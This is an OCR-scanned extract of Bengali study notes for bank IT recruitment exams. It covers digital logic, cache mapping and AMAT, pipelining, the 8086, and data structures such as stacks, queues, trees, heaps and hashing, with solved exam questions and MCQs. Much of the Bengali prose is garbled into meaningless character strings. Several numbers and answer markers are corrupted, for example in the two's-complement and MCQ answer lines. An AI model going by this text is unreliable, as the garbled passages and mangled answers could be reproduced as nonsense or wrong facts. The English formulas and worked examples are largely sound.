(=) 00000001

@ (sf) — 00000001 — invert 11111110 — +1=111111111

7.(2F)16=?

() 45
(51) 32

(¥) 47
(") 215

Taq: (4) — 2 %x 16 + 15 =471

8. % 16:1 MUX-a F1f% select line =1Tsi?

() 2
(°n 4

T8 (5) — 24 =161

(3
()16

9. De Morgan-a3 & SIJIift (A + B)' =?

(F)A + B
(57) AB

(¥4) A'B'
A+B

Tweq; (9) — OR-97 complement = complement-SteTIF AND |

10. ) = K = 1 5ta1 &1 flip-flop-93 WIEB9B toggle 77?

(F) SR
(*N JK

(€D
(=) SR latch

& (1) — JK-3)=K=1=Q"=Q'ISR-Q S =R = 1 =3I

11. Mod-10 (decade) counter-Q SFfNs T flip-flop =ITsr?

()3
(51) 5

(¥) 4
(=10

Tex: (4) — 24 =16 > 101

12. Standard ASCII (&1© Fo ftea?

()6
QIR

(a7
(@16

& (W) — 7 06 128 w=%1; Extended ASCII 8 RGI
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13. b-fJ6 2's complement-a3 L UN-FE FIHG?
() 0 (AT 255 (¥) -127 /T +127
(51) =128 (T +127 (9) -128 (YT +128

Tea: (o) — 2/ @27 - 11

14.A+AB=?
() AB (AMA+B
(N A (|)B

T@q: () — Absorption law: A(1 + B) = Al

15. 8-f96 DAC-4q full-scale 5.1 V 3t resolution $9?
(=) 10 mV (¥) 20 mV
(1) 19.9 mV (€) 51 mV

@ (4) — 5.1/ (28 - 1)=5.1/255=0.02 VI
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I 2 — FCBI AfFOFoIT 8 NRCHI AT

Computer Architecture & Microprocessor

202V SITAF IR 2THIT Q3 WL (AT IRKQIF &% AR pipelining I919 single-cycle (SO IT 2026 @

AME/AE Talifa 2026 — 13 #I56Ito3 ¥%), memory hierarchy (AME/AE 2026), cache miss-Qd &3 (SO IT
2026), cache-a3 tag/index/offset (BB AME 2023, Officer IT 2024)1 MCQ-(S "= (IHF ooy, "8086 F©
35", ROM/RAM 21 fAf*5s | AME/AE (IT) 8 SO (IT)-3 T SR8 WAfEFIF; AP 8 Officer (IT)-F G718 Tieid |

2.5 CPU-3F 5159 @ Instruction Cycle

Von Neumann architecture-a instruction 8 data 933 memory 8 Q33 bus TtT ST — TCeT @I 76
T W 91 (Von Neumann bottleneck)! Harvard architecture-@ instruction 8 data-g &=3 &ieTiwl
memory/bus — DSP 8 microcontroller-& Ik7Ts; g CPU-GS L1 cache Stremt (I-cache, D-cache)
RSAY A Modified Harvard It |

ALU MAfSF (+, -) @ AGFH (AND, OR, Q&A1) IS

Control Unit (CU) Instruction decode F& &7 ST control signal #it5TT (hardwired 3t
microprogrammed)

PC (Program Counter) SIgre! instruction-ag ST

IR (Instruction Register) ISHIH BTN instruction

MAR / MDR Memory-(S ST 31 / - STF (ot
Accumulator, General NEIIST T ArAT — CPU-F TFooN storage
registers

Instruction cycle: Fetch (PC > MAR — memory — MDR — IR, PC++) — Decode — Operand fetch —
Execute — Write-back — Interrupt checkl

2.2 Memory Hierarchy

) <1ns
Cache - SRAM ~1-10 ns

E
E SSD (Flash) ~50-150 pis
HDD / Tape / Cloud backup ~5-10 ms

5@ 2.5: Memory hierarchy — St %, wif¥, (=15, A5 87, 581, IS
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Locality of Reference — hierarchy (&9 Gt 35d

* Temporal locality: (I (TSB! Q3%@ TS 30T, ©f A3 WK A9 (loop variable, counter)l
* Spatial locality: (T BT I7© 30!, OIF 2N 3FANS A3 A9 (array, SN instruction) | ©I3
cache 2[taT block/line QTN AT |

faste o5  BSCS AME/AE 24.01.2026

A system has a very fast CPU but slow main memory. Explain how memory hierarchy helps reduce the
performance gap between CPU and memory.

T@a: CPU @ cycle-A (< 1 ns) IS FACS A1, i@ DRAM RITF (GBI TS 50-100 ns st — aAfSa
SR RAM-@ (51teT CPU &I ST SeoiIT (stall) A1FR1 Qs memory wall It71 Memory
hierarchy Q3 I FH:
1. gl g ¥© BT CPU-T FITT: Register 8 SRAM cache (L1 ~1 ns, L2 ~4 ns, L3 ~10 ns) IS @
SIATEIR (TBT AT |
2. Locality- Jf3st: Temporal @ spatial locality-3 I $0-55% WA cache-9% (TG (hit), O3 516
access time 21T cache-97 sIfS7 TR FITH|
3. Block transfer: Miss (e 9T block =T, #ItI9 access-STT hit *T1
4. AFG-5IfSF SIFSM: 2@ memory SRAM it I11ITeT 496 WWS; hierarchy TSI I GBS @ S (216
COIIGSE OFa I "IG 8 TS memory"-J WS (|
5. Wfefa@ @ *Ie: Multi-level cache, prefetching, write buffer, a3 fAtex & virtual memory (RAM
< disk paging)l
SRYI: hit time 1 ns, miss rate 5%, miss penalty 100 ns = AMAT =1 + 0.05 x 100 = 6 ns — aifSa
RAM-& 183 (100 ns) 99T AT S B9 O |

2.9 Memory-3 JFIqton
B Volatile? ¢3fgy BICEE]
SRAM ot Flip-flop (v transistor), refresh st /1, ws, wifs Cache
DRAM it Capacitor + 1 transistor, periodic refresh =tst, ¥4 8 Main memory
ST (DDR4/DDR5)
ROM =1 PIFLHIT (ATATT AT Firmware
(Mask)
PROM i T (A1 (OTP) —
EPROM Bl UV Sicet e <{RieT it 21 BIOS
EEPROM Bl e e byte-S@ Gt FATPNCIHT TLTHA
Flash =1 EEPROM-a3 block-Bta di9f (NAND/NOR) SSD, pen drive, BIOS/UEFI
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MCQ-3 fera 53

wowN &N Register > Cache > RAM > SSD > HDD > Optical (DVD) > Tape | Rje 2IGI3 o213 AITF:
ROM/Flash| Program 511 ST object/variable-a8 memory I3 I RAM-A (stack/heap)|

2.8 Cache Mapping 8 Address oo

Mapping e Rkt It
Direct Block j — line (j mod 1B line) IR, TS, TSI Conflict miss &
Fully associative  (ITHITHT line-Q IS A Conflict miss (73 39 tag AFAT QAT —
wifsy
k-way set Block j — set (j mod set 12T, GBIk TR — I\ Replacement policy =Itst
associative line-a3 TGS SR Afee (LRU/FIFO)
Tag = 18 bit Index = 10 bit Offset =4
bit 31 (1B 32-bit address bit 0

foa 2.2: Direct-mapped cache-a 32-bit address-a3 @15t (16 KB ¢SBT, 4-word block)

Offset = log,(block size in bytes) | Index =log,(line It set 547) | Tag = address bit - index -

offset
Line 5145t = cache size / block size | Set 514l = line 51’451 / k

fQs1S 2%t  BBAME 2023  Officer IT 2024

Suppose we have 16 KB of data in a direct-mapped cache with 4-word blocks. Determine the size of the
tag, index and offset fields if we are using a 32-bit architecture.

(rIoITad BI391-d1 0o "4 blocks" 14T =NT; LGl oo Patterson-Hennessy-3 "4-word blocks"| 32-bit architecture-
@a 1 word = 4 bytel)

Tex:

Block size = 4 word x 4 byte = 16 byte = Offset = log,16 = 4 bit (93 W7 2 bit word-select, 2 bit
byte-select)

Line 5125t = 16 KB/ 16 B = 214724 = 210= 1024 = Index = 10 bit

Tag=32-10 - 4 = 18 bit

wfSiie (23 fewsest a1 73): &S line-a 128 bit data + 18 bit tag + 1 valid bit = 147 bit = 16
cache bit = 1024 x 147 = 147 Kbit = 18.4 KB — {1 16 KB (GBI 4TS 21T 1.15 &< storage S|
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Twigad 5: 32 KB, 4-way set associative cache, block 64 B, 32-bit address
Line=32KB /64 B=512; Set=512/4 =128 = Index = 7 bit; Offset = log,64 = 6 bit; Tag=32-7-6
=19 bitI

933 cache fully associative 2teT: Index = 0, Tag = 32 - 6 = 26 bit| Direct-mapped 3¢T: Index = 9, Tag =
17 bitl

Write policy 8 Replacement

Write-through: cache 8 memory AT ATSE — 76, consistency Sital, 7§ bus traffic &
Write-back: 8¢ cache SI9ITSE, block I 2B ST memory-(S &4t (dirty bit) — %1 Replacement:
LRU (SIRIC60T % 57=3AfS q19%@), FIFO, Random, LFU |

R.¢ Cache Miss-a99 499 (3C) 8 AMAT

faste o so 1T 2026 (25104)

Explain the difference between a "Compulsory Miss" (Cold Miss) and a "Capacity Miss" in cache memory.

IERE Compulsory (Cold) Miss Capacity Miss

IS Block &A1 access *Bg — AT Program-4a3 working set cache-a3 4IKFN9OIF (50T
YT cache-Q ST I, O3 TFFIR block I #ITT WIIF FATCST

FYF TG Program SFS 1 g4 (GBI G array/loop IR (FIAF NI

Infinite ot — AN cache-a8 AT access T — TWE IG cache-a I AT

cache-axI?  miss
IACARK GAT I block size, prefetching Cache size I1G1tdT, loop tiling/blocking

TrRaeT array A[ ] 45919 2ol 8 KB cache-4 64 KB array I #IG!

O 79 Conflict miss: cache-a TSI AT g8 direct/set-associative mapping-a g6 block a3
line/set-QF G FCT ATF WAACE AT OF; fully associative 1 Q&M associativity T o1

AMAT = Hit time + Miss rate x Miss penalty
.EEW: AMAT = HTL1 + MRL1 X (HTLZ + MRL2 X Penaltymem)

TulAct 2 4% JIF cache-a7 AMAT

L1 hit time 1 ns, L1 miss rate 10%; L2 hit time 10 ns, L2 local miss rate 20%; RAM access 100 ns|
AMAT=1+0.10 x (10 + 0.20 x 100) =1 + 0.10 x 30 = 4 ns|

Hit ratio-F &td: effective time =h x T+ (1 - h) x T,1 h = 0.9, T. =10 ns, T, = 100 ns (=@MfR) = 0.9 %
10+ 0.1 x 100 =19 nsl
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.Y Performance: CPI, MIPS, Amdahl's Law

CPU time = Instruction count x CPI x Clock period =IC x CPI/ f
MIPS = f / (CPI x 106) | Amdahl: Speedup=1/[(1-p)+p/s]

Tnsge ©: 2 GHz TSI instruction mix

ALU 50% (CPI 1), Load/Store 30% (CPI 2), Branch 20% (CPI 3)I

SIG CPI = 0.5%1 + 0.3x2 + 0.2x3=0.5+ 0.6 + 0.6 = 1.7

MIPS = 2000 / 1.7 = 1176; 10° instruction-a CPU time = 10° x 1.7 / (2 x 10%) = 0.85 s

Amdahl: TSR 40% WA 10 B o FICe (16 speedup = 1/ (0.6 + 0.04) = 1.56 — J1fF 60% =2*13
AT (BT &I

2.4 Pipelining 3917 Single-Cycle

¢-4ItiF classic RISC pipeline: IF (Instruction Fetch) — ID (Decode/Register read) — EX (Execute/ALU) —
MEM (Memory access) — WB (Write Back)| FI91G (LTI SHIRI: OF0 (1G SFITS Mtet 217 @G (4t
uF 3T — AfSH @Tteg TN @3 U, vy ATS T6T g 28T @IS 72N TS|

Instruction c1 Cc2 Cc3 C4 c5 Cé6 c7
I IF ID EX MEM WB

12 IF ID EX MEM WB

I3 IF ID EX MEM WB

k-stage pipeline-a n instruction: ¥ =(k+n-1)xt | Speedup=n-k/(k+n-1)—> k(n3IS
30A)
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faste &% so1T 2026 (25104) BSCS AME/AE 24.01.2026

Why do modern processor designs favor a multi-stage pipelined approach over a single-cycle
implementation? Explain with appropriate reasoning.

Saq:

1. Clock period-a3a Sragst: Single-cycle-a &S instruction @3 cycle-a -I¥ =, B3 clock period
3o 3T AT T instruction-aF (TN load: IF+ID+EX+MEM+WB) NI9 | ADD-47 Nto! e
instruction-8 (1% A< ST (731 Pipeline-a clock period = RTTT A4 stage-ad ST — HHS (2B,
13 clock frequency @&

2. Throughput 3ITS: QFIf&F instruction aFM o7 fS7 stage-@ AT (instruction-level parallelism)
Pipeline si<f 3tsT &ifS cycle-a asf6 instruction ¥ =T (ideal CPI = 1)1

3. Hardware-ad < I19719: Single-cycle-a fetch unit TS G FI JIfF THT WAt AITF; pipeline-a
&AfSS unit &fS cycle-a &IT 1 GIAT instruction R 8|

4. Scalability: Superscalar, out-of-order execution, branch prediction — 33 SgfFF &FHeg fSfS
pipeliningl

5. J&13 (trade-off): #fSTB instruction-ag latency 4 9T (pipeline register-a43 overhead-& SISy JTY),
@32 hazard SNeITs forwarding, stall @ branch prediction ISt — B (NG FHFHTO! FAF G (&=

L UISIS Twiga: Stage TN IF 200, ID 100, EX 200, MEM 200, WB 100 ps|
Single-cycle clock = 800 ps = 1000 instruction = 800,000 ps = 800 ns|

Pipeline clock = 200 ps (Fo¥ stage) = (5 + 1000 - 1) x 200 = 200,800 ps = 200.8 ns|
Speedup = 800 / 200.8 = 3.98 &4 (stage ST (A AT 5 B IS (TO)|

Pipeline Hazard

Hazard I AN

Structural %G instruction @3 hardware (TN AT 7wl I-cache/D-cache, resource duplication
memory port) QFAT I

Data PITF instruction WSIABT T @TAFT WM TS Forwarding/bypassing, stall (bubble),

(RAW) B ADD R1,R2,R3 — SUB R4,R1,R5 compiler instruction reordering

Control Branch-a3 & GIHIF &IS13 Itdd instruction Branch prediction, delayed branch, flush
fetch R I

2.t RISC 9919 CISC

fw RISC CIsC

Instruction SRAT I, A 1, Gifte

Instruction tv=fy f3fig (fixed, 9= 32 bit) SAfIISTMA (1-15 byte, x86)

Memory access 8y LOAD/STORE fitx P instruction SR memory operand &
Cycle/instruction SRS 1 aFIEF

Control unit Hardwired Microprogrammed

Bank IT Jobs (BB / BSCS: AP, SO-IT, Officer-IT, AME) - Preparation Notes | Page 25/ 185



Register AP B2
Pipelining RS o

SurRger ARM, RISC-V, MIPS, Apple M-series Intel x86, AMD64, 8086

2.5 Intel 8086 Microprocessor

Data bus/ALU  16-bit (1% 8086 @B 16-bit microprocessor)
Address bus 20-bit = 220 = 1 MB memory
AFIF / pin 1978, 40-pin DIP, 5-10 MHz

TorIAIT TSt BIU (Bus Interface Unit: segment register, IP, 6-byte instruction queue) 8 EU (Execution Unit:
ALU, general register, flag)

General AX (accumulator), BX (base), CX (count), DX (data) — &ifSfG 8-bit Sitst ©ist 1 T1¥ (AH/AL...)
register

Pointer/Index SP, BP, SI, DI

Segment CS, DS, SS, ES (&1fSf6 s1te5 64 KB)
Flag ofB: v status (CF, PF, AF, ZF, SF, OF) + v control (TF, IF, DF)
8088 a3 Tersd, f7F 8-bit external data bus (IBM PC-(®)

Physical address = Segment x 16 (10H) + Offset

Tnieaet 8: Physical address fefg

CS = 2000H, IP = 0350H = 20000H + 0350H = 20350H |

DS = 1234H, offset = 0022H = 12340H + 0022H = 12362H |

Pipelining-a3 Suifizast: BIU 919t 6 byte instruction SSIE queue-(S QT Y, EU YT GeTI=
instruction execute I — fetch 8 execute overlap|

Addressing Mode (8086 TWIga4Ig)

Mode Surgget Operand GBI

Immediate MOV AX, 25H Instruction-a3 (o3
Register MOV AX, BX Register-@

Direct MOV AX, [5000H] Jme memory address-&
Register indirect MOV AX, [BX] BX-@ 14T address-@

Based / Indexed MOV AX, [BX+SI+10H] Base + index + displacement
Relative JMP label PC + offset
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2.50 I/0: Polling, Interrupt 8 DMA

L] FernI CPU-T Ir5e!

Programmed I/0 CPU 171K device-47 status g SIS — ST9T 78

(polling)

Interrupt-driven Device &FS I interrupt #STT; CPU ISTIF HGT AFHA @ WANT — &fS word-a
ISR BIeTi interrupt

DMA DMA controller CPU-GF bypass S device <> memory AN — I (TOIF Ty
SR block transfer F; Ity @B interrupt Torge (disk, NIC)

Interrupt-a3 &3: hardware I software (INT n), maskable (INTR — I% J141 1) I91% non-maskable
(NMI — =519 power failure, memory parity error)i Interrupt et CPU flag 8 PC stack-@ push 3tg, ISR
1T IRET 0 FCR1 Interrupt I time-slice Y @F process (RITF WFTBrS TSTT — context switching —
CPU-(S 90B|

2.5) Storage: HDD, SSD 8 Memory s%ela fa51

3w HDD SSD (SATA / NVMe)
R gefras (b1 platter 8 read/write NAND flash, (AT BeTsI =e#t (73
head
Access time ~5-10 ms ~0.05-0.1 ms
Throughput ~100-250 MB/s SATA ~550 MB/s, NVMe (PCle) 3-7 GB/s
(B3 NIEIREI Shock-resistant, 5@ write cycle it (wear leveling,
TBW)
26/GB S &
T Archive, backup CBS database, OS, VM datastore
R

Disk access time = Seek time + Rotational latency (= %2 x 60/RPM) + Transfer time

Memory capacity = 23ddresslines . gat3 pus width

Tngge ¢: HDD-CS 4 KB block #1Gte ST

Seek 5 ms, 7200 RPM, transfer rate 100 MB/s|

a3 gofq = 60/7200 = 8.33 ms = 51T rotational latency = 4.17 ms; transfer = 4 KB / 100 MB/s = 0.04
ms|

(B = 5 +4.17 + 0.04 = 9.21 ms — a3 F1G1 NVMe SSD-S ~0.1 ms, 2T 50 @ FFo|
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Tursaet u: Memory chip-a3 address line

64K x 8 chip = 64K = 21° = 16f address line, 8f5 data linel 20 address line 8 8-bit data =

capacity = 220 x 8 bit = 1 MBI 1 MB memory 64K x 8 chip s amice 165 chip #1151t @3e chip select-
9T Gy Q6 4:16 decoder|

S g

KB = 210 byte (memory-c®), 5@ data rate-a kbps = 103 bit/s1 Byte (B) 3 bit (b) ST cHetea= =1 100
MB/s = 800 Mbps|

2.2 MCQ SAteH

1. (154 access speed JITETT HFS?
() HDD (¥) SSD
(s1) DVD (7) Cache

T@d: () — Cache (SRAM) Ns-BI FIGT FF|  Officer IT MCQ 2026 (BIBM)

2. iR F1 VIFTEAS FH memory SAT 4T ATA?
() RAM (2) ROM
(st) Cache (90) Register

T@ad: (4) — ROM non-volatilel  Officer IT MCQ 2026 (BIBM)

3. 8086 microprocessor T fqTea?
() 8-bit (¥) 16-bit
(57) 20-bit (2) 32-bit

Tad: (¥) — 16-bit data bus/ALU; address bus 20-bitl  Officer IT 2026 (25105)

4. SSD, RAM, Cache 8 HDD-3 Tt} oo (FIHG?
(F) SSD (4) RAM
(s) Cache () HDD

&ad: (57) — Cache > RAM > SSD > HDD|  Officer IT 2026 (25105)

5. Context switching (I 9T6?
() Compiler (4) Memory
(s1) CPU (9) I/0 device

Tad: (57) — CPU @3 process-49 state JNTHA I TIHI0F state (TG B Officer IT MCQ 2026 (BIBM)
6. Program B&IFITA object-a9 T« memory 391w 3T (FIYE?

() Cache (¥) HDD
(5) ROM (g) RAM

T@q: () — Heap/stack ©o33 main memory (RAM)-GS|  Officer IT MCQ 2026 (BIBM)
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7. 8086-93 A6 addressable memory Fs?
() 64 KB (¥) 640 KB
(51 1 MB (%) 4GB

@ (s1) — 20-bit address = 220 byte|

8. M memory-c& [Aafis refresh Fats T?
() SRAM (¥) DRAM
(°) EEPROM () Flash

Ted: (4) — DRAM-Ad capacitor-a3d charge T 3T

9. CS = 1000H 3 IP = 0020H =t physical address F©?

(=) 1020H (¥) 10020H
(s1) 01020H () 10200H

T8 (4) — 1000H x 10H + 0020H = 10000H + 0020H |

10. ¢FI9 cache-a conflict miss 3T 91?7
() Direct-mapped (¥) 2-way set associative
(1) Fully associative (90) 4-way set associative

@& (51) — TIT block THIEAT line-A IS |

11. ST stage-fRI#® k-stage pipeline-a37 Sifgs At speedup F5?
(@) k-1 () k
(1) 2k (%) Kk
B@R: (¥) — N — oo X nk/(k +n = 1) - ki

12. RISC architecture-a3 ¢af* ¥y FI=16?

() #ifFTSTRe MR instruction () Microprogrammed control
(sT) 8¢ load/store T memory access () 9 register

6T (51) — AP CISC-AF =18y

13. CPU-3T TITH1 2IG1 I/0 device (AITF memory-cS block Got AT 2igfS &1=i6?
() Polling (¥) DMA
(o1) Interrupt (9) Paging
Twaq; () — Direct Memory Access|
14. Mov AX, [BX] ¢4 addressing mode?
(=) Immediate (¥) Direct
(57) Register indirect (9) Register

e (51) — Operand-a3 address BX register-a1
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15. Cache memory YIS &I AYfSts cofF?
() DRAM (4) SRAM
(st) Flash () EPROM

T&q: (¥4) — SRAM %S @ refresh =Tt =1
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I © — GO S[IF61T 8 whpisifaus

Data Structures & Algorithms

O LI (AT AT AT I913F 3B AI/HIT 2% ST — [T T3 Assistant Programmer (AP), Senior
Officer (IT), Officer (IT) @ BB AD (ICT)| MCQ-(S Ity Stack/Queue/Tree-ad GTIfAF 2% @ complexity;
f&ifas @ie*t WGt hashing, infix—postfix, tree traversal, graph representation, sorting-93 worst case 3
searching-a3 &1 AME 261 Qe 3%, g MCQ-(S |

v.5 Complexity 8 Big-O — O Joitd

AT T© TS 5T Of 34967 AT N-AF TIRFF REF &6+ T 2T Big-0 = AT A[9 GFeas
SRS (upper bound), Q = =S, © = HBI3 (tight bound)!

0(1) < O(log n) < O(n) < O(n log n) < O(n?) < O(n®) < O(2") < O(n!)

CSG! S{IFHIT Access Search 9FCe Insert ItT Insert Delete (22)
Array o(1) O(n) o(n) — 3 O(1) (ergsit Aweed)  O(n)
IFITO I
Singly Linked List ~ O(n) o(n) o(1) O(n) (tail pointer o(1)
AT 0(1))
Stack / Queue — o(n) push/enqueue O(1) pop/dequeue
o(1)
BST (balanced / O(log n) / O(n) insert O(log n) / O(n) O(log n) / O(n)
skewed)
Hash Table — STt O(1), SIS O(1) SIS O(1)
worst O(n)
Binary Heap max/min @4 O(n) insert O(log n) extract-max
o(1) O(log n)
NIEIER RS |

Array-a3 ®350s insert = O(n), 5g Linked List-a3 ®35Cs insert/delete = O(1)1 Officer (IT) 2026 MCQ-(S
3 @3 MG et a1 2R (“time complexity of inserting/deleting the first element”)1

v.2 Array S Linked List

Array: (OIS 2o (contiguous) 51, index T AT O(1) access; 3@ MRS FF1 Linked
List: 2S5 node-a data + #ItaF node-AaF pointer; SI3G TI3If%F, Fg random access @31

head 10 20 30 ——» NULL

5@ v.5: Singly linked list — &f$f6 node = data + next pointer (2e[%)
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// ®Fts insert — 0(1)
struct Node { int data; struct Node *next; };
void push_front(struct Node **head, int x) {
struct Node *n = malloc(sizeof(struct Node));
n->data = x;
n->next = xhead; // 799 node I head-& o @
*head = n; // head a%9 94 node
}

&IF1IIeen: Singly, Doubly (prev + next), Circular (*I¥ node WK head-Q)1 Doubly list-Q (IRt I1SIT T,
58 afS node-q wIfSiFi® @B pointer @M

v.v Stack — LIFO

Stack-Q GITT ¥ (GITH ©f | (&K =T (Last In First Out)| SACE*: push, pop, peek/top, isEmpty — 393
oMl

Stack-93 F19=1F (MCQ-7 farm)

* Recursion / function call — &fS$f6 Ft17 activation record call stack-@a |

* Balanced parentheses 613 — (U1 IFAT push, IF IFAT QT pop I GIAIHT |
¢ Infix — Postfix 18 8 Postfix evaluationl

e Undo/Redo, browser back button, DFS (iterative)l

Svrraet: “{[ () 1(}" balanced f& ar?
{ push — [ push — ( push — ) QT top “(” e, pop — ] @t top “[” e, pop — ( push — } @t top
“(" — =TT 9 = Unbalanced | &ITE stack 2ifel 1 3te78 unbalanced|

v.8 Infix — Postfix FIIT 3 JeITF

fAT: operand SR output-@; “(” stack-Q; )" Qtet “(" #IIS pop FCI output; operator AT stack-aF top-9
ST 1 & precedence-a3 operator B GISTEAT pop FCI OIF2F push| Precedence: » > * / % > + -;
A right-associative, 15T left-associativel
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faste o= Officer IT 2024

Convert the infix expression P = 12/(7-3)+2 to postfix expression and evaluate it.

oot Symbol Stack Postfix (output)
1 12 — 12

2 / / 12

3 ( /( 12

4 7 /( 127

5 - /(- 127

6 3 /(- 1273

7 ) / 1273~

8 + + (/" @& precedence, S13 ST pop) 1273~/

9 2 & 1273-/2
10 T Qfey 1273-/2+

Evaluation (operand push; operator 4t 46 pop X 61T op 27 2571R):

Symbol JIG Stack
12,7,3 push 12,7, 3
- 7-3=4 12,4

/ 12/4=3 3

2 push 3,2

+ 3+2=5 5

$@q: Postfix=1273-/2+ W9 =5|

Swizgel: A + B * C - D / E — Postfix 8 Prefix

Postfixxt ABC*+DE/- | Prefixx-+A*BC/DE
(PIRIS: IITST IFAT IAF ((A + (B*C)) — (D/E)), ©IF91F &AfSS operator-F 17 IFAT *ITT (postfix) I SFCS
(prefix) IR

v.¢ Queue 8 Circular Queue

Queue = FIFO (First In First Out)l enqueue 3T rear-9, dequeuve 3T front (| &FIK: Linear, Circular,
Priority Queue (heap fata), Deque (73 fit3 insert/delete)l
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fQsts & so 172026 (25104)

Why is a Circular Queue preferred over a Linear Queue in many operating systems? Explain with one
example.

T@a: Array-fof$s Linear Queue-(S SIFIF dequeue IR 217 front ST QfSe T, st Aifer
TIYTA! T (2K T T 411 rear ¥ index-a HRIte queue “full” (AT, I8 SN Srswsit Aifer —
At memory wastage / false overflow JtT|

Circular Queue-(s ¥ T AT WKIF IV UK (T 2T (modulo):

rear =(rear+1)% N | front=(front+1)% N | Full: (rear + 1) % N == front

Rt (v) R WIER buffer FRR AT 2T, () A AT O(1), elements TS =T 1, ()
producer-consumer &JJ NRF (TGB! AR GF WA |

0S-a Swizast: Round Robin CPU scheduling — ready queue-3 process a6 time quantum Bt
HIIF queue-T (IR TIT; circular structure-Q QBT FreIiRFOR @I S=1: keyboard buffer, printer
spooler, network packet ring bufferi

‘b N = 8 9= JBIIF buffer
index 7-a% 27 WK index 0
‘ q (rear + 1) % 8 — wrap-around

@ v.2: Circular queue — 19 9RF It AT TF
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©.Y Tree — e sifgorar

fQsre A¥ SO IT 2026 (25104)

Define the following terms used in tree data structures: (i) Tree (ij) Leaf Node ...
MIECIR) szl

Tree Node 8 edge-a3 @36 non-linear, hierarchical, acyclic connected 5157; @36 root &Y,
n node AT edge 3% n-151

Root ST B node, TIF (FITHT parent (31

Leaf (External) (T node-a3 &IAT child 7% (degree 0)1
Node

Internal Node TW© A6 child ¥Itg a9= nodel

Degree 936 node-aF child 51AT; tree-9d degree = T node degreel
Depth / Level Root (T &@ node #1E® edge AT (root-aF depth 0)!
Height & node (AT SIICEE THS leaf IS edge 14T, tree-aF height = root-Q3 height|

Sibling / Subtree 33 parent-ad child-AT sibling; BT node 8 BIF 1 descendant fNteT subtreel

Binary tree: level i-c& 5Tid15 2! node | height h-a 5it&e6 271 - 1 node | n node-a3 Jow
height =|log, n] | leaf =(degree-2 node) + 1

v.q Binary Search Tree (BST) 8 Traversal

BST-¢® &if$f6 node-a7 I S W (BIB, BITAF 7 W I | SN insert: 50, 30, 70, 20, 40, 60, 801

20 40 60 80

5@ v.v: BST — 3eqn& e leaf node; height = 2

Traversal o FATH (ST tree) IR

Inorder Left - Root — Right 2030 40 50 60 70 80 BST-(S sorted &% (M

Preorder Root — Left — Right 503020407060 80 tree Ff 1, prefix expression
Postorder Left — Right — Root 2040306080 7050 tree delete 41, postfix expression
Level order (BFS) BE I 50 30 70 20 40 60 80 queue faca
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WA LT A

Pre/In/Post — “Root Y« HITH” O (MAI: Pre = HITSY, In = VIR, Post = ¢1tF 1 Officer (IT) 2026 MCQ:
“Which traversal of a BST returns elements in sorted order?” — Inorder|

Tursact: Preorder 3 Inorder (i3I, tree 9755~

Preorder: AB D E CF, Inorder: D B E AF CI Preorder-a3 22%fG root = Al Inorder-4 A-a3 Jits (D B E) =
left subtree, It (F C) = right subtree| #ItI1 preorder T#IMIS B = W subtree-g root, 17 TN D, Tt
ElI &9 fitss C root, F ©19 A9 childl = Postorder: DEBF C Al

BST-G search/insert/delete: balanced 3t O(log n), &g sorted T insert T tree skewed (TG
feTe6a WTeT) 7T O(n) 1 @ BT AVL / Red-Black tree fSteiss balance |

.t Heap 8 MAX-HEAPIFY

Binary heap = complete binary tree, array-cs 4TI Max-heap: &f$f6 parent > 917 child| 1-indexed array-
(S i-Q7 Gy: parent = [i/2], left = 2i, right = 2i+1 |

fasie It (MST FI®  Officer IT 2024

MAX-HEAPIFY(A, 1)

1. left = 2i

2. right = 2i + 1

3. largest = i

4. if (left <= A.heap_size and A[left] > A[i])
58 largest = left

6. if (right <= A.heap_size and A[right] > A[largest])
7. largest = right

8. if (largest != i)

9. swap A[i], A[largest]

10. MAX-HEAPIFY (A, largest)

IS i-(S AP NI S child-(F QTF (=G (A IS child-aF T swap FI N6 I (“sift down”) | ST
O(log n) (tree-a3 height)l

Tvirad: A =[16, 4, 10, 14, 7, 9, 3, 2, 8, 1]-9 MAX-HEAPIFY(A, 2)

i=2: A[2]=4, left A[4]=14, right A[5]=7 — largest =4 — swap — [16, 14, 10,4, 7,9, 3, 2, 8, 1]
i=4: A[4]=4, left A[8]=2, right A[9]=8 — largest =9 — swap — [16, 14,10, 8, 7,9, 3,2, 4, 1]
i=9: leaf (left = 18 > heap_size 10) — AN | F=t: [16, 14, 10, 8,7, 9, 3, 2,4, 1]

BUILD-MAX-HEAP: i = | n/2] % 1 98 MAX-HEAPIFY — G015 O(n)| Heap sort = build heap + IIFI1R root
(max) GItg SIFIAt — O(n log n), in-place, unstablel Priority queue-3 FTeIRF I\ITF AT heapl

v.» Hashing 8 Collision Resolution

Hash function key-G table index-9Q oIS FX: LKA A h(k) = k mod m | 76 key 9F3 index (oIt
collision | STI&1=: (F) Chaining — &S5 9t linked list; (¥) Open addressing — Linear probing (h(k)+i)
mod m, Quadratic probing (h(k)+i2?) mod m, Double hashing (hy(k) + i-h,(k)) mod ml
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fIsrs &t BB AP 2023

Consider a hash table of size 13 with integer keys. Suppose the hash function is h(k) = k mod 13. Insert, in
the given order, the keys 10, 3, 5, 6, 16, 17, 19 into the hash table using linear probing to resolve
collisions. Show all the work.

Key h(k) =k mod 13 Probe &% BOIg index
10 10 10 <ifs 10

3 3 3 Aife 3

5 5 5 wifet 5

6 6 6 Ife 6

16 3 3 (3 WIy) — 4 «if 4

17 4 4(16) > 5 (5) — 6 (6) — 7 Wifer 7

19 6 6(6) > 7 (17) — 8 «ifed 8

Fois ofIe:

Index 1 2 3 4 5 6 7 8 9 10 11 12

Key - — 3 16 5 6 17 19 — 10 —  —

IS collision: 16 — 55, 17 — ©ft, 19 — 2% = ot | 77 T2 index 3-8-a AFCIFT TJT T (OfF AR —
O primary clustering I, It linear probing-a3 &4 Yol

Load factora=n/m (Q9tS 7/13 = 0.54) — a IISTA collision IITG; open addressing-4 a < 0.7
QY OItel

MCQ STt
“Which data structure trades extra memory for faster operations?” — Hash table
Officer IT MCQ 2026 (BIBM)

v.50 Graph Representation, BFS 8 DFS

Graph G = (V, E)I 55 2= S=rg1o: Adjacency Matrix (VxV, st O(V?), edge =g {5 1 O(1)) @R
Adjacency List (2ifS vertex-a3 2fS@# Siferst, Tgstt O(V+E), sparse graph-4a $&)|
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faste et BB AP 2023

Give an adjacency-list representation for a complete binary tree on 7 vertices. Give an equivalent
adjacency-matrix representation. Assume that vertices are numbered from 1 to 7 as in a binary heap.

Heap numbering: vertex i-a3 child 2i 8 2i+1 — 1-(2,3), 2-(4,5), 3-(6,7)I

Adjacency List (undirected): Adjacency Matrix (undirected, symmetric):

1>2->3 1234567

2515>4->5 1[0110000]

35156>7 2[1001100]

4 > 2 3[10600011]

52 4[ 0100000 ]

